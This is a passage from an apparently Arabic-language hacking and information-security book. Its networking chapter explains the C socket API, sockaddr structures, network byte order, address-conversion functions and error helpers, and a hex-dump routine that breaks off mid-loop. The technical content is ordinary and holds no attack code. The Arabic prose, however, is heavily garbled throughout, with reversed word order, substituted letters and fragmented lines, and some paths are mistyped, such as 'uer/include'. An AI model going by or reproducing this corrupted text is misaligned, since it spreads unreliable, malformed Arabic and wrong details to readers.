‫ُل‬‫ك‬ ‫ل‬َ‫ف‬‫أس‬ ‫ح‬ ّ
‫وض‬ُ‫م‬
function
َ َ
‫َرص‬‫ت‬ ُ
‫ُم‬ ‫بطريقة‬ ‫وظيفتها‬
‫ة‬
.
‫طلف‬ ‫لديك‬ ‫َت‬‫ن‬‫َو‬‫ك‬َ‫ت‬ ‫قد‬ ‫أنه‬ ‫ام‬‫وب‬
‫السابق‬ ‫الفصل‬ ‫من‬ ‫ِبا‬ ‫بأس‬ ‫ال‬ ‫ية‬
‫ال‬ ‫تتجاوز‬ ‫بنسبة‬ ‫وظيفتهم‬ ‫م‬َ‫َفه‬‫ت‬ َ
‫س‬ ‫أنك‬ ‫قأعتقد‬
60%
.‫اهلل‬ ‫بإذن‬
‫وس‬
‫ن‬
‫أطرى‬ ً‫ة‬‫مر‬ ‫بتوضيحهم‬ ‫قوم‬
‫يف‬ ‫األكواد‬ ‫داطل‬
.‫ة‬َ‫م‬‫القاد‬ ‫رات‬َ‫ق‬َ‫ف‬‫ال‬
socket(int domain, int type, int protocol)
Used to create a new socket, returns a file descriptor for the socket or -1 on error.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[122]
connect(int fd, struct sockaddr *remote_host, socklen_t addr_length)
Connects a socket (described by file descriptor fd) to a remote host. Returns 0 on success and -1
on error.
bind(int fd, struct sockaddr *local_addr, socklen_t addr_length)
Binds a socket to a local address so it can listen for incoming connections. Returns 0 on success
and -1 on error.
listen(int fd, int backlog_queue_size)
Listens for incoming connections and queues connection requests up to backlog_queue_size.
Returns 0 on success and -1 on error.
accept(int fd, sockaddr *remote_host, socklen_t *addr_length)
Accepts an incoming connection on a bound socket. The address information from the remote
host is written into the remote_host structure, and the actual size of the address structure is
written into *addr_length.
This function returns a new socket file descriptor to identify the connected
socket or -1 on error.
send(int fd, void *buffer, size_t n, int flags)
Sends n bytes from *buffer to socket fd; returns the number of bytes sent or -1 on error.
recv(int fd, void *buffer, size_t n, int flags)
Receives n bytes from socket fd into *buffer; returns the number of bytes received or -1 on error.
‫ال‬ ‫لنشاء‬ ‫عند‬ ‫أنه‬ ‫الحظ‬
Socket
،
‫سن‬
‫ب‬ ‫قوم‬
‫تحديد‬
‫األ‬ ‫ذذه‬
‫مور‬
:
Domain
‫ال‬ ‫نوع‬ ‫وذو‬
Protocol Family
‫مع‬ ‫ستتعامل‬ ‫كنت‬ ‫اذا‬ ‫ما‬ ‫حتديد‬ ‫يمكنك‬ ً‫ال‬‫قمث‬
IPv4
‫أم‬
IPv6
.!‫غريذم‬ ‫أم‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[123]
Type
‫ال‬ ‫ا‬‫ِب‬ ‫َعني‬‫ن‬‫و‬
Socket Type
‫كان‬ ‫لذا‬ ‫ما‬
TCP or UDP
.
Protocol
‫كها‬ُ‫رت‬َ‫ن‬ َ
‫س‬
0
‫عنى‬َ‫م‬‫ب‬..
unspecified
‫ال‬ ‫نوع‬ ‫نا‬‫د‬َ‫د‬ َ‫ح‬ ‫ألننا‬
protocol
‫ال‬ ‫يف‬
Argument
‫األوىل‬
ً‫ا‬‫ق‬َ‫ب‬‫س‬ُ‫م‬
.
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬
protocol families
‫ل‬َ‫م‬َ‫ع‬ ‫َم‬‫ت‬
define
:‫سار‬َ‫مل‬‫ا‬ ‫ذا‬َ‫ذ‬ َ‫رب‬َ‫ع‬ ‫ا‬َ‫هل‬
/bits/socket.h
‫ال‬ ‫ذذه‬ ‫تويات‬ ُ
‫حم‬ ‫ذ‬ ُ
‫نأط‬ َ
‫س‬
library
..‫أجزاء‬ ‫ة‬‫د‬‫ع‬ ‫عىل‬
‫بال‬ ‫اخلاص‬ ‫وذو‬ ،‫جزء‬ ‫بأول‬ ‫لنبدأ‬
protocol families
:
/* Protocol families. */
#define PF_UNSPEC 0 /* Unspecified. */
#define PF_LOCAL 1 /* Local to host (pipes and file-domain). */
#define PF_UNIX PF_LOCAL /* Old BSD name for PF_LOCAL. */
#define PF_FILE PF_LOCAL /* Another nonstandard name for PF_LOCAL. */
#define PF_INET 2 /* IP protocol family. */
#define PF_AX25 3 /* Amateur Radio AX.25. */
#define PF_IPX 4 /* Novell Internet Protocol. */
#define PF_APPLETALK 5 /* Appletalk DDP. */
#define PF_NETROM 6 /* Amateur radio NetROM. */
#define PF_BRIDGE 7 /* Multiprotocol bridge. */
#define PF_ATMPVC 8 /* ATM PVCs. */
#define PF_X25 9 /* Reserved for X.25 project. */
#define PF_INET6 10 /* IP version 6. */
...
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[124]
‫ال‬ ‫أنواع‬‫ب‬ ‫طاص‬ ‫وذو‬ ‫الثاين‬ ‫زء‬ُ‫جل‬‫ا‬
Sockets
:
/* Types of sockets. */
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte
streams. */
#define SOCK_STREAM SOCK_STREAM
SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams of fixed
maximum length. */
#define SOCK_DGRAM SOCK_DGRAM
...
‫ال‬ ‫نوعي‬ ‫الحظ‬
Sockets
‫وذم‬
:
Stream (TCP)
Datagram (UDP)
Socket Address
‫قنا‬ ‫إلنشاء‬ ‫أنه‬ ‫نعلم‬ ‫كام‬
‫بحاج‬ ‫قنحن‬ ‫طرقني‬ ‫بني‬ ‫االتصال‬ ‫ة‬
‫ة‬
:‫ذي‬ ‫أساسية‬ ‫متغريات‬ ‫ألربعة‬
Source Address, Source Port, Destination Address, and Destination Port
‫ال‬ ‫تقوم‬
functions
‫ال‬ ‫نوع‬ ‫بتحديد‬ ‫باألعىل‬ ‫رشحناذا‬ ‫التي‬
“Socket Address Structure”
‫عملية‬ ‫يف‬ ُ‫ه‬ ُ‫نحتاج‬ ‫الذي‬
‫بال‬ ‫نقصد‬ ،‫االتصال‬
Address Structure
‫ب‬
‫لل‬ ‫العامة‬ ‫ح‬‫الم‬َ‫مل‬‫ا‬
Address
‫لل‬ ‫العامة‬ ‫املالمح‬ ً‫ال‬‫قمث‬ ،‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬
object
‫بال‬ ‫اخلاص‬
IPv4 Address
‫عن‬ ‫عبارة‬ ‫تكون‬
16 bits
‫لل‬
address family
،
‫و‬
32 bits
‫لل‬ ‫ة‬ َ
‫ص‬‫ص‬َ ُ
‫ُم‬
IP
،
‫و‬
16 bits
‫لل‬ ‫ة‬ َ
‫ص‬‫ص‬َ ُ
‫ُم‬
Port No
‫ال‬ ‫عن‬ ‫تلف‬ َ
‫خي‬ ‫بع‬َ‫ط‬‫ال‬‫ب‬ ‫وذذا‬
object
‫بال‬ ‫اخلاص‬
IPv6
.
.
‫ال‬ ‫بقية‬ ‫مع‬ ‫وذكذا‬
Address Family
.
‫لىل‬ ‫ة‬ َ‫حاج‬‫ب‬ ُ‫َحن‬‫ن‬ ‫بالتايل‬
Structure
‫وقارغ‬ ‫ت‬‫ثاب‬
!
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[125]
‫ال‬ ‫نوع‬ ‫ب‬ َ‫س‬ َ‫ح‬ ُ‫ه‬‫لئ‬َ‫م‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬
Address Structure
‫مه‬‫َخد‬‫ت‬‫نس‬ َ
‫س‬ ‫الذي‬
‫احلل؟‬ ‫ام‬َ‫ق‬ ً‫ا‬‫لذ‬ .
.
‫ال‬ ‫سنستخدم‬
Struct
‫الدلو‬ ‫ُّر‬‫ك‬‫َذ‬‫ت‬ ‫ذل‬ ،!‫همة‬ُ‫مل‬‫ا‬ ‫ذه‬‫هل‬
‫األول‬ ‫الباب‬ ‫يف‬ ‫عنه‬ ‫حتدثنا‬ ‫الذي‬
‫؟‬
،
‫وكي‬
‫أشكال‬ ‫باستنساخ‬ ‫منا‬ُ‫ق‬ َ
‫ف‬
ً‫ا‬‫ام‬َ َ‫مت‬ ُ‫ه‬‫ه‬‫ُشب‬‫ت‬
‫اسم‬ ‫عليها‬ ‫وأطلقنا‬ ،
(Objects)
.
‫ال‬ ‫بمثال‬ ‫ك‬ ُ‫ِّر‬‫ك‬َ‫ذ‬ُ‫أ‬ ‫دعني‬
time.c
،
‫قنا‬‫ر‬َ‫ع‬ ‫قد‬ ‫ُنا‬‫ك‬
Struct tm
َ‫غ‬‫قار‬ ‫تغريات‬ُ‫م‬ ‫ه‬‫ب‬
‫ة‬
ُ‫ه‬‫ن‬‫م‬ ‫أطذنا‬ ‫م‬ُ‫ث‬ ،
Object
،
‫ذذه‬ ‫بملئ‬ ‫منا‬ُ‫ق‬‫و‬
‫ال‬ ‫أو‬ ‫تغريات‬ُ‫مل‬‫ا‬
Elements
‫ال‬ ‫ذذا‬ ‫ل‬‫داط‬‫ب‬ ‫املوجوده‬
Object
.
‫ال‬ ‫بعض‬ ‫باستخدام‬ ً‫ا‬‫أيض‬ ‫نا‬ُ‫ذ‬ ‫نقوم‬ َ
‫س‬
Structs
‫بال‬ ‫اخلاصة‬
Sockets
‫وال‬
OSI Layers
ً‫ا‬‫سبق‬ُ‫م‬ ‫تابتها‬‫وك‬ ‫ها‬‫َعريف‬‫ت‬ ‫َم‬‫ت‬ ‫التي‬
‫ال‬ ‫حالة‬ ‫يف‬ ‫قعلنا‬ ‫َام‬‫ك‬
“Struct tm”
.
َ
‫س‬
ُ‫ن‬
‫ال‬ ‫شاذد‬
Struct
‫العام‬
..
‫ميه‬ َ‫ُس‬‫ن‬
"
sockaddr
"
..
‫صيص‬ َ
‫خت‬ ‫تم‬ ُ
‫حيث‬
16 bytes
ُ‫ه‬‫ل‬
،
‫عن‬ ‫بارة‬‫ع‬ َ‫ي‬‫ذ‬
:
(
2 bytes
)
‫لل‬ ‫ة‬ َ
‫ص‬‫ص‬َ ُ
‫ُم‬
Address Family
،
‫وال‬
(
14 bytes
)
‫لل‬ ‫ت‬ َ
‫ص‬‫ص‬ ُ
‫ط‬ ‫تبقية‬ُ‫مل‬‫ا‬
Address Data
.
:‫شكله‬ ‫ذو‬ ‫ذذا‬
‫الشكل‬ ‫يف‬ ‫اخلانات‬ ‫د‬َ‫د‬َ‫ع‬ ‫ظ‬‫الح‬
16
‫طان‬
‫ة‬
‫أو‬ ،
16 bytes
.
‫وذذا‬
‫ذو‬
:‫عنه‬ ِّ
‫عرب‬ُ‫ي‬ ‫الذي‬ ‫الكود‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[126]
/* Get the definition of the macro to define the common sockaddr
members. */
#include <bits/sockaddr.h>
/* Structure describing a generic socket address. */
struct sockaddr
{
__SOCKADDR_COMMON (sa_); /* Common data: address family and
length. */
char sa_data[14]; /* Address data. */
};
ُ‫ج‬ ‫آلطر‬ ‫وصلنا‬
‫ال‬ ‫ذذه‬ ‫ن‬‫م‬ ُ‫ه‬‫ُريد‬‫ن‬ ‫زء‬
Lib
‫ال‬ ‫وذو‬
Address Families
/user/include/bits/socket.h
/* Address families. */
#define AF_UNSPEC PF_UNSPEC
#define AF_LOCAL PF_LOCAL
#define AF_UNIX PF_UNIX
#define AF_FILE PF_FILE
#define AF_INET PF_INET
#define AF_AX25 PF_AX25
#define AF_IPX PF_IPX
#define AF_APPLETALK PF_APPLETALK
#define AF_NETROM PF_NETROM
#define AF_BRIDGE PF_BRIDGE
#define AF_ATMPVC PF_ATMPVC
#define AF_X25 PF_X25
#define AF_INET6 PF_INET6
…
‫ال‬ ‫أن‬ ‫الحظ‬
Address Family
‫ال‬ ‫عن‬ ِّ
‫رب‬َ‫ع‬ُ‫ي‬ ‫الذي‬ ‫ذو‬ ‫الرتتيب‬ ‫يف‬ ‫اخلامس‬
IPv4
.
AF: Address Family, PF: Protocol Family
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[127]
‫ل‬ ‫ثال‬‫م‬ ‫ذذا‬.‫الفصل‬ ‫بقية‬ ‫باستمرار‬ ‫باستخدامه‬ ‫قسنقوم‬ ‫له‬ ‫لنتبه‬
“Socket Address”
‫بال‬ ‫طاص‬
IPv4
/* Structure describing an Internet socket address. */
struct sockaddr_in
{
__SOCKADDR_COMMON (sin_);
in_port_t sin_port; /* Port number. */
struct in_addr sin_addr; /* Internet address. */
/* Pad to size of 'struct sockaddr'. */
unsigned char sin_zero[sizeof (struct sockaddr) -
__SOCKADDR_COMMON_SIZE -
sizeof (in_port_t) -
sizeof (struct in_addr)];
};
:)‫الثاين‬ ‫(الشكل‬ ‫شكله‬ ‫يكون‬ ‫ذكذا‬
‫ال‬ ‫أن‬ ..‫ُالحظ‬‫ت‬ ‫كام‬
Socket
‫ال‬ ‫ذو‬ ‫األول‬
"
General Socket
"
.
‫ال‬ ‫ذو‬ ‫والثاين‬
IPv4 Socket
،
‫ة‬ َ‫ساح‬‫م‬ ‫ل‬َ‫غ‬‫ش‬َ‫ي‬ ‫الذم‬‫وك‬
16 bytes
،
‫د‬َ‫د‬َ‫ع‬ ‫وجود‬ ‫ي‬‫ع‬َ‫م‬ ‫ظ‬‫ُالح‬‫ت‬ ‫ل‬َ‫ذ‬ ‫ن‬‫ك‬َ‫ل‬
8bytes
‫ال‬ ‫يف‬
Structure
‫ال‬‫ب‬ ‫اخلاص‬
IPv4
‫عنوان‬ َ
‫ت‬ َ
‫حت‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[128]
‫ال‬
"
Extra padding
"
‫؟؟‬
.
‫ال‬ ‫باقي‬ ‫لة‬‫َكم‬‫ت‬‫ل‬ ‫وذذا‬ ،‫حاجة‬ ‫دون‬ ‫لضاقتهم‬ ‫َم‬‫ت‬ ‫د‬َ‫ق‬َ‫ل‬
16 bytes
..
‫م‬َ‫ل‬‫َع‬‫ت‬ ‫َام‬‫ك‬ ُ‫ه‬‫ألن‬
..
‫ة‬ َ‫حاج‬‫ب‬ ُ‫َحن‬‫ن‬
!‫قحسب‬ ‫ملاييل‬
:
- 2 bytes for “family type”
“port number”
- and 2 bytes for
“IP Address” field
for
(
- and (8 bits * 4 = 32 bits = 4 bytes
‫املج‬ ‫قيكون‬
‫موع‬
8 bytes
‫بإضاقة‬ ‫الباقي‬ ‫بإكامل‬ ‫منا‬ُ‫ق‬َ‫ق‬ ،!‫ققط‬
Padding
.
Big-Endian Byte Ordering
‫ال‬ ‫أن‬ ‫ظ‬ َ‫الح‬ُ‫مل‬‫ا‬ ‫من‬
IP Address
‫وال‬
Port Number
‫ال‬ ‫يف‬ ‫مان‬َ‫ستخد‬ُ‫مل‬‫ا‬
“AF_INET Socket address structure”
‫ال‬ ‫عان‬َ‫ب‬‫ت‬َ‫ي‬ َ
‫س‬
"
Network Byte Ordering
"
‫من‬ ً‫ال‬‫بد‬
‫ال‬
”x-86 little-Endian byte ordering”
‫ال‬ ‫ماذذا‬
Endian
‫؟‬..
Endianness refers to the order of the Bytes; It also describes the order of byte transmission over a
digital link.
Big-endian is the most common format in data networking; fields in the protocols such as IPv4,
IPv6, TCP, and UDP, are transmitted in big-endian order.
‫إلرسال‬ ‫ة‬ َ‫حاج‬‫ب‬ ‫نا‬ُ‫ذ‬ ُ‫َحن‬‫ن‬
"
Bits over the link
.."
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[129]
‫ل‬َ‫م‬َ‫ع‬ ‫ن‬‫م‬ ‫د‬ُ‫ب‬‫ال‬ ‫وبالتايل‬،!‫الشبكات‬ ‫تقنيات‬ ‫استخدام‬ ‫ُريد‬‫ن‬
Convert
‫ال‬ ‫ه‬‫ذ‬َ‫هل‬
fields
‫طالل‬ ‫العبور‬ ‫ُها‬‫ن‬‫مك‬ُ‫ي‬ ‫لن‬ ‫التي‬
‫ال‬ ‫حالة‬ ‫يف‬ ‫وذي‬ ‫الشبكة‬
Little-Endian
.!
‫ال‬ ‫وتتعامل‬
Memory
‫ال‬ ‫مع‬
Big-Endian
‫ال‬ ‫عن‬ ‫تلف‬ ُ
‫ُم‬ ‫بشكل‬
Little-Endian
:‫كامييل‬
‫ال‬ ‫حالة‬ ‫يف‬
“Big-Endian ordering”
:‫منى‬ُ‫ي‬‫ال‬ ‫اجلهة‬ ‫يف‬ ‫يظهر‬ ‫كام‬
‫ال‬ ‫ذذا‬ ‫ختزين‬ ‫أردنا‬ ‫قلو‬
input
.‫اليمني‬ ‫لىل‬ ‫اليسار‬ ‫ن‬‫م‬ ُ‫ه‬‫رائت‬‫ق‬ ‫تم‬َ‫ي‬َ‫ق‬ ‫الذاكرة‬ ‫يف‬
The most significant byte (MSB) value, "0A" is at the lowest address
‫ال‬ ‫حالة‬ ‫ويف‬
"
Little-Endian
"
.‫اليسار‬ ‫لىل‬ ‫اليمني‬ ‫من‬ ‫قرائته‬ ‫سيتم‬
The least significant byte (LSB) value, "0D", is at the lowest address.
.‫ُسى‬ُ‫ي‬‫ال‬ ‫اجلهة‬ ‫يف‬ ‫موضح‬ ‫ذو‬ ‫كام‬
‫ال‬ ‫بعض‬ ‫تقوم‬
functions
‫ال‬ ‫ذذا‬ ‫بعمل‬
Conversion
:‫لك‬ ‫ُرذا‬‫ك‬‫سأذ‬ ..
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[130]
htonl(long value) Host-to-Network Long
This function converts 32-bit (4-byte) quantities from host byte order to network byte order. htonl means
host to network long!
htons(short value) Host-to-Network Short
This function converts 16-bit (2-byte) quantities from host byte order to network byte order.
ntohl(long value) Network-to-Host Long
This function converts 32-bit quantities from network byte order to host byte order.
ntohs(long value) Network-to-Host Short
This function converts 16-bit (2-byte) quantities from network byte order to host byte order.
Conversion between IPv4 and 32-bit int
‫الصيغة‬ ‫ذذه‬ ‫ُب‬‫ت‬‫نك‬ ‫عندما‬
54.208.202.125
‫عليها‬ ‫طلق‬ُ‫ي‬ ‫والتي‬ ً‫ال‬‫مث‬
"
the internet standard dot notation
"
‫قلن‬
‫ال‬ ‫يفهمها‬
Socket
،!
‫ال‬ ‫أن‬ ‫حيث‬
functions
‫ن‬ِّ‫كو‬ُ‫مل‬‫ا‬
‫ة‬
‫بال‬ ‫ل‬َ‫م‬‫تتعا‬ ُ‫ه‬‫ل‬
"
32-bits order
"
‫د‬ ُ‫َواج‬‫ت‬‫ل‬ ‫احلاجة‬ ‫ظهرت‬ ‫نا‬ُ‫ذ‬ ‫ومن‬
functions
‫ال‬ ‫من‬ ‫بالتحويل‬ ‫تقوم‬
ASCII
‫ال‬ ‫لىل‬
"
32-bits integer
"
.!‫والعكس‬
‫ال‬ ‫ذذه‬ ‫عىل‬ ‫نظرة‬ ‫نلق‬ ‫دعنا‬
functions
.
#
‫ال‬
function
:‫األوىل‬
inet_aton(char *ascii_addr, struct in_addr *network_addr)
This function converts the specified string in the Internet standard dot notation “*ascii_addr”
to a network address “*network_addr”, and stores the address in the structure provided
“struct in_addr”.
The converted address will be in Network Byte Order (bytes ordered from left to right).
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[131]
َ‫ت‬ ‫ذل‬
ّ‫ذ‬
ُ‫ك‬
‫ال‬ ‫ذذا‬ ‫ر‬
struct in_addr
‫؟‬
‫لنه‬ ،!‫ه‬‫ب‬ ‫ّرك‬‫ك‬َ‫ذ‬ُ‫أ‬ ‫دعني‬
Struct
‫ال‬ ‫حيمل‬
IP Address
‫ال‬ ‫بصيغة‬
32-bits int
‫َم‬‫ت‬
‫تعريفه‬
‫ال‬ ‫ل‬‫داط‬
"
Socket address structure
"
‫بالعائلة‬ ‫اخلاص‬
AF_INET
،
‫ال‬ ‫وذي‬
.Address Family for IPv4
‫عمل‬ ‫تم‬
Define
‫لل‬
Structure
‫نه‬َ‫ع‬ ِّ
‫رب‬َ‫ع‬ُ‫ي‬ ‫الذي‬
‫امللف‬ ‫يف‬ ‫ا‬
in.h
.
‫عىل‬ ُ‫ه‬‫د‬ َ
‫جت‬
‫ظام‬‫ن‬ ‫يف‬ ‫التايل‬ ‫سار‬َ‫مل‬‫ا‬
Linux
:
uer/include/netinet/in.h
‫بال‬ ‫بمقارنته‬ ‫منا‬ُ‫ق‬ ‫ندما‬‫ع‬ ً‫ا‬‫سبق‬ُ‫م‬ ُ‫ه‬‫استخدمنا‬ ‫وقد‬
General Structure
..
‫عادلة‬ُ‫م‬ ‫ماييل‬
‫توضح‬
‫ا‬ ‫من‬ ‫التحويل‬ ‫عملية‬
‫ل‬
"
IP Address in Dotted notation
"
‫لىل‬
‫ال‬
integer
.
‫أن‬ ‫ض‬‫َفر‬‫ن‬‫ل‬
‫ال‬
Address
:‫ييل‬ ‫كام‬
The address is aaa.bbb.ccc.ddd
:‫كالتايل‬ ‫التحويل‬ ‫معادلة‬ ‫قتكون‬
number = (aaa*256^3) + (bbb*256^2) + (ccc*256^1) + (ddd*256^0)
‫رقم‬ ‫أكرب‬
‫سيكون‬
4294967295
‫لل‬ ‫ل‬‫قاب‬ُ‫مل‬‫ا‬ ‫الرقم‬ ‫ألنه‬
(
Address: 255.255.255.255
)
،
‫سيكون‬ ‫رقم‬ ‫وأصغر‬
(0)
‫الرقم‬ ‫ألنه‬
‫لل‬ ‫ل‬‫قاب‬ُ‫مل‬‫ا‬
(
Address: 0.0.0.0
)
،
‫ال‬ ‫ذذا‬ ‫أن‬ ‫ظ‬‫الح‬
integer
‫يكون‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬
unsigned
،
‫ض‬َ َ
‫فرت‬ُ‫ي‬ ‫ال‬ ُ‫ه‬‫ألن‬
‫وجود‬
IP
.!‫ب‬‫سال‬ ‫م‬َ‫ق‬َ‫ر‬ ‫ل‬‫م‬ َ
‫حي‬
#
‫ال‬
function
‫الثانية‬
:
‫و‬
‫ال‬ ‫ن‬‫م‬ ‫ل‬ِّ‫ُحو‬‫ت‬‫س‬ ‫التي‬
Network
‫ال‬ ‫لىل‬
ASCII
:‫النحو‬ ‫ذذا‬ ‫عىل‬ ‫ستكون‬
inet_ntoa(struct in_addr *network_addr)
“This function converts the specified Internet host address to a string in the Internet standard dot
notation”.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[132]
The error.h
‫ال‬ ‫عض‬َ‫ب‬‫ب‬ ‫ِّرك‬‫ك‬‫ذ‬ُ‫أ‬ ‫أن‬ ‫حب‬ُ‫أ‬
Functions
‫ال‬ ‫ثال‬‫م‬ ‫يف‬ ،‫ق‬‫الساب‬ ‫الفصل‬ ‫يف‬ ‫استخدمناذا‬ ‫د‬َ‫ق‬ ‫ا‬‫ُن‬‫ك‬ ‫التي‬
Heap
..ً‫ا‬‫ديد‬ َ
‫حت‬
‫لهنا‬
ec_malloc( )
‫وال‬
fatal( )
.
..ً‫ا‬‫جمدد‬ ‫ك‬َ‫ل‬ ‫سأضعهم‬
// A function to display an error message and then exit
void fatal(char *message) {
char error_message[100];
strcpy(error_message, "[!!] Fatal Error ");
strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}
// An error-checked malloc() wrapper function
void *ec_malloc(unsigned int size) {
void *ptr;
ptr = malloc(size);
if(ptr == NULL)
fatal("in ec_malloc() on memory allocation");
return ptr;
}
‫نستخد‬ ‫سوف‬ ‫أننا‬ ‫بام‬
‫ملف‬ ‫يف‬ ‫بوضعهم‬ ‫قسنقوم‬ ،‫ستمر‬ُ‫م‬ ‫بشكل‬ ‫مهم‬
include
‫د‬‫ح‬ ‫عىل‬
‫ة‬
‫احلاج‬ ‫وقت‬ ‫نستدعيهم‬‫ل‬
‫ة‬
.
‫عليه‬ ‫ُطلق‬‫ن‬‫س‬
error.h
.
‫ال‬ ‫ج‬‫برام‬ ‫مع‬ ‫ل‬ُ‫م‬‫َعا‬‫ت‬‫ال‬ ‫لك‬ َ
‫ق‬َ‫ب‬ َ
‫س‬ ‫ذل‬
packet analysis
‫؟‬
.
‫ال‬ ‫ل‬‫ث‬‫م‬
wireshark
‫أو‬
TCPDump
،
‫ت‬َ‫ي‬ ‫ديك‬َ‫ل‬ ‫َة‬‫ك‬َ‫ب‬ َ
‫الش‬ ‫كارت‬ َ‫رب‬َ‫ع‬ ‫التقاطها‬ ‫م‬‫ت‬َ‫ي‬ ‫التي‬ ‫البيانات‬ ‫أن‬ ‫ُالحظ‬‫ت‬‫س‬
‫رضها‬َ‫ع‬ ‫م‬
‫ال‬ ‫يئة‬َ‫ِب‬ ‫يانات‬َ‫ب‬‫ال‬ ‫د‬ َ
‫جت‬ ..ً‫ال‬‫ث‬َ‫م‬َ‫ق‬ ،‫غ‬َ‫ي‬‫ص‬ ‫ة‬ّ‫د‬‫ع‬‫ب‬
Hexadecimal
‫ال‬ ‫يئة‬َ‫ِب‬ ً‫ا‬‫أيض‬ ‫و‬
ASCII
.‫نا‬َ‫ل‬ ‫قروءة‬َ‫مل‬‫ا‬ ‫ة‬َ‫غ‬ُ‫ل‬‫ال‬ َ‫ي‬‫وذ‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[133]
:‫الصورة‬ ‫ه‬‫ذ‬َ‫ِب‬ ُ‫ه‬‫د‬‫ُشاذ‬‫ن‬ ‫ما‬ ‫تلخيص‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬
‫قنحن‬ ‫ترى‬ ‫كام‬
َ‫َلم‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫بتخزين‬ ‫نقوم‬
‫ة‬
‫ال‬ ‫يف‬
memory
،
‫بصيغة‬ ‫عرضها‬ ‫يتم‬ ‫حيث‬
‫ال‬
Hex
‫أقىص‬ ‫بحد‬ ‫وذلك‬
16 bytes
‫الواحد‬ ‫الصف‬ ‫يف‬
‫ال‬ ‫لظهار‬ ‫منه‬ ‫نطلب‬ ‫اليمني‬ ‫عىل‬ ‫ثم‬ ،
"
Printable bytes
"
ّ‫أي‬ ،‫البيانات‬ ‫ذذه‬ ‫من‬ ‫ه‬َ‫ط‬َ‫ق‬َ‫ت‬‫ل‬ُ‫مل‬‫ا‬
‫كتوب‬َ‫مل‬‫ا‬ ‫الرموز‬ ‫أو‬ ‫األحرف‬
‫ة‬
.‫الكيبورد‬ ‫بواسطة‬
‫الرائع‬ ‫همة‬ُ‫مل‬‫ا‬ ‫ِبذه‬ ‫يقوم‬ ‫صغري‬ ‫كود‬ ‫تابة‬‫بك‬ ‫سنقوم‬ ‫واآلن‬
‫ة‬
:!
‫بار‬‫ع‬ ‫الكود‬ ‫ذذا‬
‫ة‬
‫عن‬
buffer
‫ال‬ ‫قيه‬ ‫ن‬ ِّ‫ُخز‬‫ن‬
bytes
َ‫م‬َ‫ل‬‫ست‬ُ‫مل‬‫ا‬
‫ة‬
‫و‬ ،
integer
‫ال‬ ‫به‬ ‫لنضع‬
"
length of received bytes
،"
‫ال‬ ‫عدد‬ ‫طالله‬ ‫ن‬‫م‬ ‫ف‬‫ر‬‫َع‬‫ن‬ ‫كي‬
bytes
‫ة‬َ‫م‬َ‫ل‬‫ست‬ُ‫مل‬‫ا‬
.
‫ثم‬
Loop
‫ال‬ ‫د‬َ‫ع‬‫ب‬ ‫لتقوم‬
bytes
‫ال‬ ‫تتجاوز‬ ‫ال‬ ‫بصفوف‬ ‫عرضها‬ ‫لنا‬ ‫يتسنى‬ ‫كي‬
16 bytes
‫ال‬ ‫وبصيغة‬
Hex
،
‫ليست‬ ‫ولكن‬
‫ال‬ ‫تلك‬
%x
،
‫ستكون‬ ‫بل‬
“%02x”
..
‫الصيغ‬ ‫ذذه‬ ‫استخدمنا‬ ‫وملاذا‬
‫ة‬
‫؟؟‬
.
:‫تعني‬ ‫الصيغة‬ ‫ذذه‬ ‫ألن‬
‫لطبع‬
2 digits
،
‫م‬ُ‫ث‬
‫ثم‬ ،‫مساقة‬ ‫بعدذم‬ ‫اترك‬
2 digits
‫ال‬ ‫ووجود‬ ..‫وذكذا‬
(0)
‫ال‬ ‫قبل‬ ‫ذنا‬
2
‫به‬ ‫نعني‬
“prepend it with zeros if there is less”
.‫بأصفار‬ ‫الفارغة‬ ‫احلقول‬ ‫لكامل‬ ‫وذو‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[134]
‫بعمل‬ ‫نقوم‬ ‫ثم‬
Loop
‫ثانية‬ ً‫ة‬‫مر‬
‫ال‬ ‫اللتقاط‬ ‫ولكن‬
printable characters
‫كي‬
‫كام‬ ‫اليمني‬ ‫عىل‬ ‫رذا‬‫ُظه‬‫ن‬
!‫رأيت‬
.
‫ماييل‬
‫اخلاص‬ ‫الكود‬
‫بال‬
Function
‫يها‬ِّ‫ُسم‬‫ن‬‫س‬ ،
Dump( )
:
// Dumps raw memory in hex byte and printable split format
void dump(const unsigned char *data_buffer, const unsigned int length)
{
unsigned char byte;
unsigned int i, j;
for(i=0; i < length; i++) {
byte = data_buffer[i];
